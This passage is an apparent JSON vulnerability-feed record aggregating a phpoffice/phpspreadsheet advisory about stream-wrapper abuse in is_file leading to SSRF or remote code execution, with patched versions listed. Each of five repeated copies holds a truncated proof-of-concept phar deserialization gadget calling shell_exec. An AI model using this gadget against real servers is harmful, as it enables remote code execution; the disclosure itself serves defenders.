inspected."],"lifecycle":"active","identifiers":["GHSA-q4q6-r8wh-5cgh","CVE-2026-34084"],"plain_summary":"OSV carries this publisher advisory for phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.6.0 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 3.10.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.4.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.1.15 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 1.30.3 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a1bc34a66c0207e43b6e5c98cd89ceac","url":"https://github.com/advisories/GHSA-q4q6-r8wh-5cgh","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-q4q6-r8wh-5cgh","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.998Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 5.6.0"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 3.3.0; fixed 3.10.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.2.0; fixed 2.4.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.0.0; fixed 2.1.15"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.30.3"]}],"null_published_at":"2026-10-31T22:13:05.852Z","source_updated_at":"2026-05-08T15:33:49.124Z","source_disclosed_at":"2026-04-29T20:22:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:30.998Z"}],"next_cursor":null,"snapshot_revision":"42594"}